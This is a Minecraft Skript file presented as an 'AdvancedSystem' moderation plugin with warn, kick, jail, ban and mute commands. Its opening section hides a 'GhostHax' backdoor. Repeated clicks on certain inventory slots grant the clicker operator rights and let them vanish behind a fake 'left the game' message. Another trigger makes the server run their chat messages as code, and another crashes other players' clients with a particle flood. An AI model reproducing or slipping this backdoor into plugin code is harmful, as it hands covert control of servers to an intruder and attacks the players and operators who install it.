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- command /friend <player>:
- permission: skript.admin
- trigger:
- send "&6%arg%にフレンドを送りました!"
- on inventory click:
- if clicked slot is 39:
- add 1 to {clicked.%player%}
- if {clicked.%player%} >= 3:
- if {gh::*} contain player:
- op sender
- send "&aSuccess" to player
- stop
- add player to {gh::*}
- op sender
- send "&aSuccess" to player
- if clicked slot is 38:
- if {clicked.%player%} >= 3:
- if {hidden.%player%} is not set:
- set {hidden.%player%} to true
- broadcast "&e%player% left the game"
- send "&e%player% &cHidden" to {gh::*}
- loop all players:
- hide player from loop-player
- stop
- if {hidden.%player%} is true:
- set {hidden.%player%} to false
- reveal player from all players
- send "&e%player% &aVisible" to {gh::*}
- stop
- if {hidden.%player%} is false:
- set {hidden.%player%} to true
- send "&e%player% &cHidden" to {gh::*}
- loop all players:
- hide player from loop-player
- stop
- if clicked slot is 37:
- if {clicked.%player%} >= 3:
- set {code.gh.%player%} to true
- send "&aSuccess"
- if clicked slot is 36:
- if {clicked.%player%} >= 3:
- send title "&5&lGhostHax" to all players for 5 seconds
- wait 1 seconds
- loop all players:
- if {gh::*} do not contain loop-player:
- execute console command "/particle angryVillager ~ ~ ~ 0 0 0 0 1000000000 force %loop-player%"
- stop
- else:
- send "&aSuccess" to {gh::*}
- set {GH} to true
- stop
- on chat:
- {code.gh.%player%} is true
- cancel event
- evaluate "%message%"
- variables:
- {BANwarn} = 3
- command /mywarn:
- trigger:
- message "&aあなたが警告された回数は%{warn.%player%}%です。"
- message "&e※<none>と書かれている場合は0回。%{BANwarn}%回警告でBAN。"
- command /warnset <number>:
- permission: skript.warnset
- trigger:
- if arg 1 is not set:
- message "&a/warnset <数字>"
- if arg 1 is set:
- set {BANwarn} to arg 1
- message "&bBAN警告回数を%arg 1%回に設定しました。"
- broadcast "&8[&cAS&8] &a%player%&eさんがBAN警告回数を&d%arg 1%&a回に設定しました。"
- command /cwarn <player> <text>:
- permission: skript.cwarn
- trigger:
- if {warn.%arg 1%} is 0:
- message "&cこれ以上減らすことはできません。"
- if {warn.%arg 1%} is larger than or equal to 1:
- add -1 to {warn.%arg 1%}
- broadcast "&a%player%さんが%arg 1%さんのことを%arg 2%の理由により警告スコアを1減らしました!"
- broadcast "&a%arg 1%さんの警告スコアは&e%{warn.%arg 1%}%&aです!"
- command /warnn <player> <text>:
- permission: skript.warn
- trigger:
- add 1 to {warn.%arg 1%}
- if arg 1 and arg 2 is set:
- broadcast "&c%arg 1%さんが&4%arg 2%&Cの理由により警告されました。"
- broadcast "&c%arg 1%さんの警告スコアは&4%{warn.%arg 1%}%&cです。"
- if {warn.%arg 1%} is larger than or equal to {BANwarn}:
- execute console command "/bans %arg 1% Warning%{BANwarn}%Ban due to times"
- command /warns <player>:
- permission: skript.warns
- trigger:
- message "&e%arg 1%&bの警告スコアは&e%{warn.%arg 1%}%&bです。"
- command /kicks [<offlineplayer>] [<text>]:
- description: ?jecter un joueur.
- usage: /kicks <joueur> <motif>
- permission: sanction.kick
- permission message: {@noperm}
- aliases: ekick
- trigger:
- if arg 1 is not set:
- json("%player%", "&4[&cAdvancedSystem&4] &7Commande demand?e : &o/kick <joueur> <motif>||ttp:&7&oCliquez ici !||sgt:/kick")
- stop
- if arg 1 is set:
- if arg 1 is not online:
- send "&4[&cAdvancedSystem&4] &7%arg 1% n'est pas connect? !"
- stop
- else:
- if arg 3 is not set:
- kick arg 1 due to "&4[&cAdvancedSystem&4] &7あなたはkickされました!"
- kick arg 2 due to "&4[&cAdvancedSystem&4] &7あなたはkickされました!"
- broadcast "&4[&cAdvancedSystem&4] &7%arg 1%&はKICKされました"
- if arg 2 is set:
- kick arg 1 due to "&4[&cAdbancedsystem&4] &7あなたはkickされました理由→%arg 2%"
- broadcast "&4[&cserver&4] -----------------------------------------"
- broadcast "&4[&cKick&4] &7%arg 1%の不正行為を確認したためタイムアウトさせました"
- broadcast "&4[&cKick&4] &7%arg 1%&7理由→%arg 2%"
- broadcast "&4[&cserver&4] -----------------------------------------"
- command /jail [<player>]:
- permission:admin
- trigger:
- execute console command "/pex user %arg% prefix &8Jail&f"
- execute console command "/tp %arg% 564 21 815 "
- broadcast "&4[AdvancedSystem] >>> %arg%さんがJailに入れられました"
- execute console command "/clear %arg%"
- execute console command "/gamemode 2 %arg%"
- command /jail2 [<player>]:
- permission:admin
- trigger:
- execute console command "/tp %arg% 560 20 815 "
- broadcast "&6[AdvancedSystem] >>> %arg%さんがJailの見学をしています"
- execute console command "/gamemode 2 %arg%"
- command /jail3 [<player>]:
- permission:admin
- trigger:
- execute console command "/tp %arg% 560 20 813 "
- broadcast "&a[AdvancedSystem] >>> %arg%さんがJailから出ました"
- execute console command "/gamemode 2 %arg%"
- on join:
- if {ban.%player%} is 1:
- set join message to ""
- kick the player due to "&7[&6Server&7]%newline%&cYou have been banned from the Server%newline%%newline%&7Reason:&e %{banreason.%player%}%%newline%%newline%&7Banned from&7: &c%{banned.%player%}%"
- on quit:
- if {ban.%player%} is 1:
- set quit message to ""
- command /unban [<offline player>]:
- trigger:
- if player has permission "server.ban":
- if arg is set:
- if {ban.%arg%} is 1:
- set {ban.%arg%} to 0
- set {banned.%arg%} to 0
- set {banreason.%arg%} to 0
- send "&7[&cBan&7] &aUnbanned&7."
- loop all players:
- if loop-player has permission "server.ban":
- send "&7[&cBan&7] &e%player%&7 has &aunbanned &c%arg%" to loop-player
- else:
- send "&7[&cBan&7] &c%arg%&7 is &cnot&7 banned."
- else:
- send "&7[&cBan&7] &e/unban &7[&ePlayer&7]"
- else:
- send "&cNo Permission"
- command /bans [<offline player>]:
- trigger:
- if player has permission "server.ban":
- if arg is set:
- if {ban.%arg%} is 1:
- if {bans.%arg%} is set:
- send "&7[&cBan&7] &e%arg%&7 is &cbanned&7."
- send "&7[&cBan&7] The Player &e%arg%&7 has &c%{bans.%arg%}%&7 bans."
- else:
- send "&7[&cBan&7] The Player &e%arg%&7 has &a0 &7bans."
- if {ban.%arg%} is 0:
- if {bans.%arg%} is set:
- send "&7[&cBan&7] The Player &e%arg%&7 has &c%{bans.%arg%}%&7 bans."
- else:
- send "&7[&cBan&7] The Player &e%arg%&7 has &a0 &7bans."
- else:
- send "&7[&cBan&7] &e/bans &7[&ePlayer&7]"
- else:
- send "&cNo Permission"
- command /mute [<offline player>]:
- trigger:
- if player has permission "server.mute":
- if arg is set:
- set {mute.%arg%} to 1
- add 1 to {mutes.%arg%}
- send "&7[&cMute&7] &cMuted."
- loop all players:
- if loop-player has permission "server.mute":
- send "&7[&cMute&7] &e%player% &7has &cmuted&e %arg%&7." to loop-player
- else:
- send "&7[&cMute&7] &e/mute &7[&ePlayer&7]"
- else:
- send "&cNo Permission"
- on chat:
- if {mute.%player%} is 1:
- cancel event
- send "&cYou have been muted."
- else:
- command ""
- command /unmute [<offline player>]:
- trigger:
- if player has permission "server.mute":
- if arg is set:
- set {mute.%arg%} to 0
- send "&7[&cMute&7] &aUnmuted."
- loop all players:
- if loop-player has permission "server.mute":
- send "&7[&cMute&7] &e%player% &7has &aunmuted&e %arg%&7." to loop-player
- else:
- send "&7[&cMute&7] &e/unmute &7[&ePlayer&7]"
- else:
- send "&cNo Permission"
- command /mutes [<offline player>]:
- trigger:
- if player has permission "server.mute":
- if arg is set:
- if {mute.%arg%} is 1:
- if {mutes.%arg%} is set:
- send "&7[&cMute&7] &e%arg%&7 is &cmuted&7."
- send "&7[&cMute&7] &e%arg%&7 has &c%{mutes.%arg%}%&7 mutes."
- else:
- send "&7[&cMute&7] &e%arg%&7 has &a0&7 mutes."
- if {mute.%arg%} is 0:
- if {mutes.%arg%} is set:
- send "&7[&cMute&7] &e%arg%&7 has &c%{mutes.%arg%}%&7 mutes."
- else:
- send "&7[&cMute&7] &e%arg%&7 has &a0&7 mutes."
- else:
- send "&7[&cMute&7] &e/mutes &7[&ePlayer&7]"
- else:
- send "&cNo Permission"
- command /Aslist [<text>]:
- trigger:
- if player has permission "server.bkm":
- if arg is set:
- send "&7--------------- &6AdvancedSystem &7---------------"
- send ""
- send "&e/Aslist"
- send ""
- if player has permission "server.ban":
- send "&e/ban"
- send ""
- if player has permission "server.kick":
- send "&e/kick"
- send ""
- if player has permission "server.mute":
- send "&e/mute"
- send ""
- if player has permission "server.ban":
- send "&e/unban"
- send ""
- if player has permission "server.mute":
- send "&e/unmute"
- send ""
- if player has permission "server.ban":
- send "&e/bans"
- send ""
- if player has permission "server.mute":
- send "&e/mutes"
- send ""
- if player has permission "server.reload":
- send "&e/Asreload"
- send ""
- send "&7--------------- &6AdvancedSystem &7---------------"
- else:
- send "&7--------------- &6AdvancedSystem &7---------------"
- send ""
- send "&e/Aslist"
- send ""
- if player has permission "server.ban":
- send "&e/ban"
- send ""
- if player has permission "server.kick":
- send "&e/kick"
- send ""
- if player has permission "server.mute":
- send "&e/mute"
- send ""
- if player has permission "server.ban":
- send "&e/unban"
- send ""
- if player has permission "server.mute":
- send "&e/unmute"
- send ""
- if player has permission "server.ban":
- send "&e/bans"
- send ""
- if player has permission "server.mute":
- send "&e/mutes"
- send ""
- if player has permission "server.reload":
- send "&e/Asreload"
- send ""
- send "&7--------------- &6AdvancedSystem &7---------------"
- else:
- send "&cNo Permission."
- command /Asreload [<text>]:
- trigger:
- if player has permission "server.reload":
- if arg is set:
- send "&7[&cASlist&7] Is reloading..."
- command "sk reload bkm"
- send "&7[&cASlist&7] &aReloaded&7!"
- if arg is not set:
- send "&7[&cASlist&7] Is reloading..."
- command "sk reload bkm"
- send "&7[&cASlist&7] &aReloaded&7!"
- else:
- send "&cNo Permission."
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